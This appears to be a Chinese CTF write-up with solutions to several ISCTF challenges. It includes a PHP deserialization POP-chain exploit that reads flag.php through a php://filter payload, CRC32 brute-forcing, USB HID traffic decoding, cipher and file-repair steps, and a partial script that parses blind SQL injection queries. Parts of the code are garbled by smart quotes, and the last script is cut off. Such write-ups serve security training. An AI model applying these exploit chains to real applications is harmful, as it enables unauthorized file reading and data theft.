class artifact{ public $excalibuer; public $arrow; public function __toString(){ echo “为Saber选择了对的武器! “; return $this->excalibuer->arrow; } }
class prepare{ public $release; public function __get($key){ $functioin = $this->release; echo “蓄力!咖喱棒!! “; return $functioin(); } } class saber{ public $weapon; public function __invoke(){ echo “胜利! “; include($this->weapon); } } class summon{ public $Saber; public $Rider;
public function __wakeup(){ echo “开始召唤从者! “; echo $this->Saber; } }
PHP <?php class artifact{ public $excalibuer; public $arrow; }
class prepare{ public $release; } class saber{ public $weapon; } class summon{ public $Saber; public $Rider; } $artifact=new artifact(); $prepare=new prepare(); $saber=new saber(); $summon=new summon(); $summon->Saber=$artifact; $artifact->excalibuer=$prepare; $prepare->release=$saber; $saber->weapon=”php://filter/read=convert.base64-encode/resource=flag.php”;
crc_list = [xxxx]# 遍历所有可能的3字节数据 for target_crc in crc_list: for i in range(256): for j in range(256): for k in range(256): data = bytes([i, j, k]) # 构造3字节数据 crc = zlib.crc32(data) & 0xffffffff # 计算CRC32值 if crc == target_crc: data=data.decode() print(f”Found matching data: {data}”) break
normalKeys = {“04″:”a”, “05”:”b”, “06”:”c”, “07”:”d”, “08”:”e”, “09”:”f”, “0a”:”g”, “0b”:”h”, “0c”:”i”, “0d”:”j”, “0e”:”k”, “0f”:”l”, “10”:”m”, “11”:”n”, “12”:”o”, “13”:”p”, “14”:”q”, “15”:”r”, “16”:”s”, “17”:”t”, “18”:”u”, “19”:”v”, “1a”:”w”, “1b”:”x”, “1c”:”y”, “1d”:”z”,”1e”:”1″, “1f”:”2″, “20”:”3″, “21”:”4″, “22”:”5″, “23”:”6″,”24″:”7″,”25″:”8″,”26″:”9″,”27″:”0″,”28″:””,”29″:””,”2a”:”“, “2b”:”\t”,”2c”:””,”2d”:”-“,”2e”:”=”,”2f”:”[“,”30″:”]”,”31″:”\\”,”32″:””,”33″:”;”,”34″:”‘”,”35″:””,”36″:”,”,”37″:”.”,”38″:”/”,”39″:””,”3a”:””,”3b”:””, “3c”:””,”3d”:””,”3e”:””,”3f”:””,”40″:””,”41″:””,”42″:””,”43″:””,”44″:””,”45″:””} shiftKeys = {“04″:”A”, “05”:”B”, “06”:”C”, “07”:”D”, “08”:”E”, “09”:”F”, “0a”:”G”, “0b”:”H”, “0c”:”I”, “0d”:”J”, “0e”:”K”, “0f”:”L”, “10”:”M”, “11”:”N”, “12”:”O”, “13”:”P”, “14”:”Q”, “15”:”R”, “16”:”S”, “17”:”T”, “18”:”U”, “19”:”V”, “1a”:”W”, “1b”:”X”, “1c”:”Y”, “1d”:”Z”,”1e”:”!”, “1f”:”@”, “20”:”#”, “21”:”$”, “22”:”%”, “23”:”^”,”24″:”&”,”25″:”*”,”26″:”(“,”27″:”)”,”28″:””,”29″:””,”2a”:”“, “2b”:”\t”,”2c”:””,”2d”:”_”,”2e”:”+”,”2f”:”{“,”30″:”}”,”31″:”|”,”32″:””,”33″:”\””,”34″:”:”,”35″:””,”36″:””,”38″:”” />”,”3a”:””,”3b”:””, “3c”:””,”3d”:””,”3e”:””,”3f”:””,”40″:””,”41″:””,”42″:””,”43″:””,”44″:””,”45″:””} output = [] keys = open(‘change.txt’)#数据文件路径 for line in keys: try: if line[0]!=’0′ or (line[1]!=’0′ and line[1]!=’2′) or line[3]!=’0′ or line[4]!=’0′ or line[9]!=’0′ or line[10]!=’0′ or line[12]!=’0′ or line[13]!=’0′ or line[15]!=’0′ or line[16]!=’0′ or line[18]!=’0′ or line[19]!=’0′ or line[21]!=’0′ or line[22]!=’0′ or line[6:8]==”00″: continue if line[6:8] in normalKeys.keys(): output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]==’2′] else: output += [‘[unknown]’] except: pass keys.close()
flag=0 print(“”.join(output)) for i in range(len(output)): try: a=output.index(‘‘) del output[a] del output[a-1] except: pass for i in range(len(output)): try: if output[i]==””: flag+=1 output.pop(i) if flag==2: flag=0 if flag!=0: output[i]=output[i].upper() except: pass print (‘output :’ + “”.join(output))
得到后半段flag
收集删除的字符可以发现key:soezusb
蓝牙流量:
strings output.json | grep “btatt.value”>2.txt
修改下格式后保存,依旧使用上面的脚本
先进行flag连接:
AGGSZ{Kp_wn_YRV_SOV_JMFYFFJS!!!} key:soezusb
维吉尼亚密码
ISCTF{So_ez_USB_AND_VIGENERE!!!}
小蓝鲨的秘密
伪加密
改两个00即可
png图片拉下宽高
得到key:15CTF2023
解密AES即可
在线AES加密 | AES解密 – 在线工具
Ez_misc
拿到附件
ppt最后一张图备注处拿到密码:M13c_!ps2s23
解压flag.zip后发现jpg文件打不开
010打开后发现文件头缺失,补充即可
打开得到二维码,扫码得到flag
spalshes
预期解:
解密文本拿到点坐标
Python import matplotlib.pyplot as plt # 提供的数据 data =[1,2.75,1,1,2.5,1,1,2.25,1,1,1.75,1,1,2,1,1,3,1,1.5,3,1,2,3,1,2,2.75,1,2,2.5,1,2,2.25,1,2,2,1,2,1.75,1,2,1.5,1,1,2.25,1,1.5,2.25,1,1,1.5,1,1.5,1.5,1, 4,2.75,1,4,2.5,1,3,3,1,3.5,3,1,4,3,1,3.5,2.25,1,4,2.25,1,4,2,1,4,1.75,1,4,1.5,1,3,1.5,1,3.5,1.5,1,3,2.25,1,3,2.5,1,3,2.75,1, 5,3,1,5.5,3,1,6,3,1,6,2.25,1,6,2,1,6,1.75,1,6,1.5,1,5.5,1.5,1,5,1.5,1,5,2.25,1,5.5,2.25,1,5,2.5,1,5,2.75,1, 7,3,1,7.5,3,1,8,3,1,8,2.5,1,8,2,1,8,1.5,1,8,2.75,1,8,2.25,1,8,1.75,1, 9,3,1,9.5,3,1,10,3,1,10,2.75,1,10,2.5,1,10,2.25,1,9.5,2.25,1,9,2.25,1,9,1.5,1,9.5,1.5,1,10,1.5,1,10,2,1,10,1.75,1, 11.5,3,1,12,3,1,11,3,1,12,2.25,1,12,2,1,12,1.75,1,12,1.5,1,11.5,1.5,1,11,1.5,1,11,1.75,1,11,2,1,11,2.25,1,11,2.5,1,11,2.75,1,11.5,2.25,1] # 将数据分割成 x 和 y 坐标 x = data[::3] y = data[1::3] # 绘制散点图 plt.scatter(x,y) plt.title(‘Scatter Plot’) plt.xlabel(‘X-axis’) plt.ylabel(‘Y-axis’) plt.show()
Python # 读取输入文件 with open(‘xxx’, ‘r’) as file: lines = file.readlines()
# 初始化上一行指定位置的数字 prev_digit_position = 0
# 遍历每一行数据 for line in lines: # 获取当前行指定位置的数字 start_index = line.find(“SELECT flag from answer limit 0,1),”) + len(“SELECT flag from answer limit 0,1),”) end_index = line.find(“,1))=”)
if start_index != -1 and end_index != -1: digit_position = int(line[start_index:end_index])